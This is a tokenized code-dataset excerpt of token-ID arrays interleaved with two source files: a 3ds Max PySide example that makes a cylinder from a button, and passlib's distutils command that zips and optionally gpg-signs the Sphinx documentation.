356, 283, 34, 292, 1237, 15, 17, 14, 16, 936, 267, 1306, 1852, 63, 2139, 8, 5694, 63, 2991, 29, 549, 9, 267, 791, 5694, 13, 2991, 356, 283, 12256, 12, 20902, 936, 272, 408, 272, 2323, 275, 1052, 272, 340, 4729, 63, 2991, 26, 267, 340, 1228, 8, 5694, 63, 2991, 12, 620, 304, 288, 986, 267, 916, 1228, 8, 5694, 63, 2991, 12, 769, 304, 288, 4729, 63, 2991, 275, 12814, 904, 8, 5694, 63, 2991, 9, 267, 587, 26, 288, 4729, 63, 2991, 275, 28538, 63, 16314, 267, 2323, 459, 5694, 13, 2991, 418, 275, 4729, 63, 2991, 339, 340, 922, 63, 4054, 26, 267, 2323, 459, 751, 13, 4054, 418, 275, 922, 63, 4054, 339, 340, 4215, 63, 9631, 26, 267, 2323, 459, 2105, 418, 275, 283, 3250, 13, 9631, 7, 339, 340, 5678, 63, 1178, 26, 267, 2323, 459, 15846, 418, 275, 283, 6845, 283, 435, 971, 288, 330, 772, 2143, 8, 66, 8, 4316, 63, 1178, 4992, 2708, 360, 1624, 13, 24, 358, 339, 340, 4566, 63, 4316, 63, 1178, 26, 267, 2323, 459, 3280, 13, 15846, 418, 275, 283, 6845, 283, 435, 971, 288, 330, 772, 2143, 8, 66, 8, 3280, 63, 4316, 63, 1178, 4992, 2708, 360, 1624, 13, 24, 358, 339, 340, 3507, 63, 1637, 26, 267, 2323, 459, 1637, 13, 2785, 418, 275, 283, 889, 13, 1637, 7, 339, 372, 2323, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
maxwellalive/YCDIVFX_MaxPlus
Examples/pyside_example.py
2
2724
import ctypes from PySide import QtGui, QtCore import MaxPlus def make_cylinder(): obj = MaxPlus.Factory.CreateGeomObject(MaxPlus.ClassIds.Cylinder) obj.ParameterBlock.Radius.Value = 10.0 obj.ParameterBlock.Height.Value = 30.0 MaxPlus.Factory.CreateNode(obj) time = MaxPlus.Core.GetCurrentTime() MaxPlus.ViewportManager.RedrawViews(time) class Widget(QtGui.QWidget): def __init__(self, parent=None, stylename='windows', theme='dark'): super(Widget, self).__init__(parent) self.btnRun = QtGui.QPushButton('Run') self.btnClose = QtGui.QPushButton('Close') layout = QtGui.QVBoxLayout(self) layout.addWidget(self.btnRun) layout.addWidget(self.btnClose) self.setLayout(layout) self.setWindowTitle('Simple 3ds Max PySide Example') self.setWindowFlags(QtCore.Qt.Tool | QtCore.Qt.WindowStaysOnTopHint | QtCore.Qt.MSWindowsFixedSizeDialogHint) self.setAttribute(QtCore.Qt.WA_DeleteOnClose) self.btnRun.clicked.connect(make_cylinder) self.btnClose.clicked.connect(self.close) self.setGeometry(100, 100, 250, 80) print self.frameGeometry() self.setupUI(stylename, theme) def setupUI(self, stylename, theme): for control in self.children(): if hasattr(control, 'setStyle'): control.setStyle(QtGui.QStyleFactory.create(stylename)) if theme.lower() == 'dark': self.setStyleSheet('QWidget {' 'background: #444444;' 'color: #d8d8d8;' 'selection-color: black;' 'selection-background-color: #3399ff;' '}') else: self.setStyleSheet('QWidget {' 'background: #E6E6E6;' 'color: #000000;' 'selection-color: black;' 'selection-background-color: #3399ff;' '}') class _GCProtector(object): widgets = [] app = QtGui.QApplication.instance() if not app: app = QtGui.QApplication([]) def main(): widget = Widget(stylename='Plastique', theme='light') _GCProtector.widgets.append(widget) widget.show() capsule = widget.effectiveWinId() ctypes.pythonapi.PyCObject_AsVoidPtr.restype = ctypes.c_void_p ctypes.pythonapi.PyCObject_AsVoidPtr.argtypes = [ctypes.py_object] ptr = ctypes.pythonapi.PyCObject_AsVoidPtr(capsule) MaxPlus.Win32.Set3dsMaxAsParentWindow(ptr) if __name__ == '__main__': main()
gpl-2.0
[ 646, 5577, 199, 199, 504, 1611, 15414, 492, 5928, 12, 10565, 199, 199, 646, 8228, 25800, 421, 199, 318, 1852, 63, 1480, 24447, 837, 272, 1559, 275, 8228, 25800, 14, 2927, 14, 2499, 13427, 1692, 8, 4261, 25800, 14, 2543, 11506, 14, 9156, 24447, 9, 272, 1559, 14, 4720, 3142, 14, 19800, 14, 1110, 275, 1616, 14, 16, 272, 1559, 14, 4720, 3142, 14, 8436, 14, 1110, 275, 4233, 14, 16, 272, 8228, 25800, 14, 2927, 14, 2499, 1716, 8, 1113, 9, 272, 900, 275, 8228, 25800, 14, 5402, 14, 29058, 1366, 342, 272, 8228, 25800, 14, 2768, 719, 2988, 14, 10858, 1773, 21180, 8, 521, 9, 421, 199, 533, 16905, 8, 10604, 14, 23894, 304, 272, 347, 636, 826, 721, 277, 12, 1676, 29, 403, 12, 3449, 354, 534, 8258, 297, 8879, 534, 13625, 735, 267, 1613, 8, 3339, 12, 291, 2843, 826, 721, 1708, 9, 398, 291, 14, 9633, 2540, 221, 275, 5928, 14, 29116, 360, 2540, 358, 267, 291, 14, 9633, 4724, 275, 5928, 14, 29116, 360, 4724, 358, 398, 7054, 275, 5928, 14, 25527, 18536, 8, 277, 9, 267, 7054, 14, 9475, 8, 277, 14, 9633, 2540, 9, 267, 7054, 14, 9475, 8, 277, 14, 9633, 4724, 9, 267, 291, 14, 409, 4798, 8, 4209, 9, 267, 291, 14, 30601, 360, 3184, 650, 795, 8228, 1611, 15414, 5679, 358, 398, 291, 14, 25666, 6381, 8, 10901, 14, 4238, 14, 5157, 1204, 1169, 10565, 14, 4238, 14, 4301, 3391, 588, 3314, 6105, 20891, 1204, 1169, 10565, 14, 4238, 14, 3053, 8647, 9515, 2320, 5619, 20891, 9, 267, 291, 14, 17618, 8, 10901, 14, 4238, 14, 9004, 63, 5392, 3314, 4724, 9, 398, 291, 14, 9633, 2540, 14, 11276, 14, 2242, 8, 1875, 63, 1480, 24447, 9, 267, 291, 14, 9633, 4724, 14, 11276, 14, 2242, 8, 277, 14, 1600, 9, 267, 291, 14, 25559, 8, 1960, 12, 2948, 12, 16074, 12, 5939, 9, 267, 870, 291, 14, 1943, 6831, 342, 398, 291, 14, 2758, 6379, 8, 2487, 354, 12, 8879, 9, 339, 347, 3272, 6379, 8, 277, 12, 3449, 354, 12, 8879, 304, 267, 367, 3304, 315, 291, 14, 3223, 837, 1467, 340, 2688, 8, 2785, 12, 283, 31091, 735, 355, 3304, 14, 31091, 8, 10604, 14, 49, 6609, 2927, 14, 981, 8, 2487, 354, 430, 398, 340, 8879, 14, 2325, 342, 508, 283, 13625, 356, 288, 291, 14, 31091, 16715, 360, 23894, 791, 3044, 283, 7451, 26, 327, 22872, 1602, 8942, 3044, 283, 2326, 26, 327, 68, 24, 68, 24, 68, 24, 8942, 3044, 283, 5592, 13, 2326, 26, 12136, 8942, 3044, 283, 5592, 13, 7451, 13, 2326, 26, 327, 1153, 1020, 556, 8942, 3044, 283, 12216, 267, 587, 26, 288, 291, 14, 31091, 16715, 360, 23894, 791, 3044, 283, 7451, 26, 327, 37, 22, 37, 22, 37, 22, 8942, 3044, 283, 2326, 26, 327, 3273, 8942, 3044, 283, 5592, 13, 2326, 26, 12136, 8942, 3044, 283, 5592, 13, 7451, 13, 2326, 26, 327, 1153, 1020, 556, 8942, 3044, 283, 12216, 421, 199, 533, 485, 7484, 919, 9119, 8, 785, 304, 272, 11114, 275, 942, 421, 199, 571, 275, 5928, 14, 12757, 14, 842, 342, 199, 692, 440, 1145, 26, 272, 1145, 275, 5928, 14, 12757, 4157, 421, 199, 318, 2446, 837, 272, 3938, 275, 16905, 8, 2487, 354, 534, 48, 2019, 2029, 297, 8879, 534, 4040, 358, 272, 485, 7484, 919, 9119, 14, 8583, 14, 740, 8, 3440, 9, 272, 3938, 14, 2384, 342, 339, 22053, 443, 275, 3938, 14, 20427, 8886, 1304, 342, 272, 5577, 14, 1548, 1246, 14, 2713, 19561, 63, 2822, 29545, 2115, 14, 9990, 275, 5577, 14, 67, 63, 1647, 63, 80, 272, 5577, 14, 1548, 1246, 14, 2713, 19561, 63, 2822, 29545, 2115, 14, 10025, 275, 359, 9798, 14, 647, 63, 785, 61, 272, 12448, 275, 5577, 14, 1548, 1246, 14, 2713, 19561, 63, 2822, 29545, 2115, 8, 12029, 443, 9, 339, 8228, 25800, 14, 8886, 708, 14, 1084, 19, 795, 4261, 2822, 6652, 4301, 8, 4695, 9, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 5577, 199, 199, 504, 1611, 15414, 492, 5928, 12, 10565, 199, 199, 646, 8228, 25800, 421, 199, 318, 1852, 63, 1480, 24447, 837, 272, 1559, 275, 8228, 25800, 14, 2927, 14, 2499, 13427, 1692, 8, 4261, 25800, 14, 2543, 11506, 14, 9156, 24447, 9, 272, 1559, 14, 4720, 3142, 14, 19800, 14, 1110, 275, 1616, 14, 16, 272, 1559, 14, 4720, 3142, 14, 8436, 14, 1110, 275, 4233, 14, 16, 272, 8228, 25800, 14, 2927, 14, 2499, 1716, 8, 1113, 9, 272, 900, 275, 8228, 25800, 14, 5402, 14, 29058, 1366, 342, 272, 8228, 25800, 14, 2768, 719, 2988, 14, 10858, 1773, 21180, 8, 521, 9, 421, 199, 533, 16905, 8, 10604, 14, 23894, 304, 272, 347, 636, 826, 721, 277, 12, 1676, 29, 403, 12, 3449, 354, 534, 8258, 297, 8879, 534, 13625, 735, 267, 1613, 8, 3339, 12, 291, 2843, 826, 721, 1708, 9, 398, 291, 14, 9633, 2540, 221, 275, 5928, 14, 29116, 360, 2540, 358, 267, 291, 14, 9633, 4724, 275, 5928, 14, 29116, 360, 4724, 358, 398, 7054, 275, 5928, 14, 25527, 18536, 8, 277, 9, 267, 7054, 14, 9475, 8, 277, 14, 9633, 2540, 9, 267, 7054, 14, 9475, 8, 277, 14, 9633, 4724, 9, 267, 291, 14, 409, 4798, 8, 4209, 9, 267, 291, 14, 30601, 360, 3184, 650, 795, 8228, 1611, 15414, 5679, 358, 398, 291, 14, 25666, 6381, 8, 10901, 14, 4238, 14, 5157, 1204, 1169, 10565, 14, 4238, 14, 4301, 3391, 588, 3314, 6105, 20891, 1204, 1169, 10565, 14, 4238, 14, 3053, 8647, 9515, 2320, 5619, 20891, 9, 267, 291, 14, 17618, 8, 10901, 14, 4238, 14, 9004, 63, 5392, 3314, 4724, 9, 398, 291, 14, 9633, 2540, 14, 11276, 14, 2242, 8, 1875, 63, 1480, 24447, 9, 267, 291, 14, 9633, 4724, 14, 11276, 14, 2242, 8, 277, 14, 1600, 9, 267, 291, 14, 25559, 8, 1960, 12, 2948, 12, 16074, 12, 5939, 9, 267, 870, 291, 14, 1943, 6831, 342, 398, 291, 14, 2758, 6379, 8, 2487, 354, 12, 8879, 9, 339, 347, 3272, 6379, 8, 277, 12, 3449, 354, 12, 8879, 304, 267, 367, 3304, 315, 291, 14, 3223, 837, 1467, 340, 2688, 8, 2785, 12, 283, 31091, 735, 355, 3304, 14, 31091, 8, 10604, 14, 49, 6609, 2927, 14, 981, 8, 2487, 354, 430, 398, 340, 8879, 14, 2325, 342, 508, 283, 13625, 356, 288, 291, 14, 31091, 16715, 360, 23894, 791, 3044, 283, 7451, 26, 327, 22872, 1602, 8942, 3044, 283, 2326, 26, 327, 68, 24, 68, 24, 68, 24, 8942, 3044, 283, 5592, 13, 2326, 26, 12136, 8942, 3044, 283, 5592, 13, 7451, 13, 2326, 26, 327, 1153, 1020, 556, 8942, 3044, 283, 12216, 267, 587, 26, 288, 291, 14, 31091, 16715, 360, 23894, 791, 3044, 283, 7451, 26, 327, 37, 22, 37, 22, 37, 22, 8942, 3044, 283, 2326, 26, 327, 3273, 8942, 3044, 283, 5592, 13, 2326, 26, 12136, 8942, 3044, 283, 5592, 13, 7451, 13, 2326, 26, 327, 1153, 1020, 556, 8942, 3044, 283, 12216, 421, 199, 533, 485, 7484, 919, 9119, 8, 785, 304, 272, 11114, 275, 942, 421, 199, 571, 275, 5928, 14, 12757, 14, 842, 342, 199, 692, 440, 1145, 26, 272, 1145, 275, 5928, 14, 12757, 4157, 421, 199, 318, 2446, 837, 272, 3938, 275, 16905, 8, 2487, 354, 534, 48, 2019, 2029, 297, 8879, 534, 4040, 358, 272, 485, 7484, 919, 9119, 14, 8583, 14, 740, 8, 3440, 9, 272, 3938, 14, 2384, 342, 339, 22053, 443, 275, 3938, 14, 20427, 8886, 1304, 342, 272, 5577, 14, 1548, 1246, 14, 2713, 19561, 63, 2822, 29545, 2115, 14, 9990, 275, 5577, 14, 67, 63, 1647, 63, 80, 272, 5577, 14, 1548, 1246, 14, 2713, 19561, 63, 2822, 29545, 2115, 14, 10025, 275, 359, 9798, 14, 647, 63, 785, 61, 272, 12448, 275, 5577, 14, 1548, 1246, 14, 2713, 19561, 63, 2822, 29545, 2115, 8, 12029, 443, 9, 339, 8228, 25800, 14, 8886, 708, 14, 1084, 19, 795, 4261, 2822, 6652, 4301, 8, 4695, 9, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
austindlawless/cudas
lambda/login/passlib/_setup/docdist.py
8
3109
"""custom command to build doc.zip file""" #============================================================================= # imports #============================================================================= # core import os from distutils import dir_util from distutils.cmd import Command from distutils.errors import * from distutils.spawn import spawn # local __all__ = [ "docdist" ] #============================================================================= # command #============================================================================= class docdist(Command): description = "create zip file containing standalone html docs" user_options = [ ('build-dir=', None, 'Build directory'), ('dist-dir=', 'd', "directory to put the source distribution archive(s) in " "[default: dist]"), ('format=', 'f', "archive format to create (tar, ztar, gztar, zip)"), ('sign', 's', 'sign files using gpg'), ('identity=', 'i', 'GPG identity used to sign files'), ] def initialize_options(self): self.build_dir = None self.dist_dir = None self.format = None self.keep_temp = False self.sign = False self.identity = None def finalize_options(self): if self.identity and not self.sign: raise DistutilsOptionError( "Must use --sign for --identity to have meaning" ) if self.build_dir is None: cmd = self.get_finalized_command('build') self.build_dir = os.path.join(cmd.build_base, 'docdist') if not self.dist_dir: self.dist_dir = "dist" if not self.format: self.format = "zip" def run(self): # call build sphinx to build docs self.run_command("build_sphinx") cmd = self.get_finalized_command("build_sphinx") source_dir = cmd.builder_target_dir # copy to directory with appropriate name dist = self.distribution arc_name = "%s-docs-%s" % (dist.get_name(), dist.get_version()) tmp_dir = os.path.join(self.build_dir, arc_name) if os.path.exists(tmp_dir): dir_util.remove_tree(tmp_dir, dry_run=self.dry_run) self.copy_tree(source_dir, tmp_dir, preserve_symlinks=True) # make archive from dir arc_base = os.path.join(self.dist_dir, arc_name) self.arc_filename = self.make_archive(arc_base, self.format, self.build_dir) # Sign if requested if self.sign: gpg_args = ["gpg", "--detach-sign", "-a", self.arc_filename] if self.identity: gpg_args[2:2] = ["--local-user", self.identity] spawn(gpg_args, dry_run=self.dry_run) # cleanup if not self.keep_temp: dir_util.remove_tree(tmp_dir, dry_run=self.dry_run) #============================================================================= # eof #=============================================================================
mit
[ 624, 4229, 1414, 370, 1900, 1382, 14, 3065, 570, 624, 199, 14813, 9152, 199, 3, 8925, 199, 14813, 9152, 199, 3, 6170, 199, 646, 747, 199, 504, 7065, 492, 2935, 63, 1974, 199, 504, 7065, 14, 1760, 492, 5817, 199, 504, 7065, 14, 2550, 492, 627, 199, 504, 7065, 14, 10212, 492, 15187, 199, 3, 2257, 199, 363, 452, 363, 275, 359, 272, 298, 1301, 2686, 2, 199, 61, 199, 14813, 9152, 199, 3, 1414, 199, 14813, 9152, 199, 533, 1382, 2686, 8, 3110, 304, 339, 1369, 275, 298, 981, 3482, 570, 3035, 18042, 3517, 9149, 2, 339, 922, 63, 1419, 275, 359, 267, 661, 1506, 13, 694, 4009, 488, 12, 283, 3425, 2082, 659, 267, 661, 2686, 13, 694, 4009, 283, 68, 297, 268, 298, 3619, 370, 5324, 314, 1350, 4084, 6359, 8, 83, 9, 315, 298, 268, 7369, 885, 26, 2917, 31937, 267, 661, 908, 4009, 283, 70, 297, 268, 298, 6404, 1475, 370, 1218, 334, 5369, 12, 1315, 5369, 12, 486, 90, 5369, 12, 3482, 13185, 267, 661, 1037, 297, 283, 83, 297, 283, 1037, 1584, 1808, 30067, 659, 267, 661, 5582, 4009, 283, 73, 297, 283, 8225, 39, 8503, 1202, 370, 2070, 1584, 659, 272, 1622, 339, 347, 8265, 63, 1419, 8, 277, 304, 267, 291, 14, 1506, 63, 694, 275, 488, 267, 291, 14, 2686, 63, 694, 275, 488, 267, 291, 14, 908, 275, 488, 267, 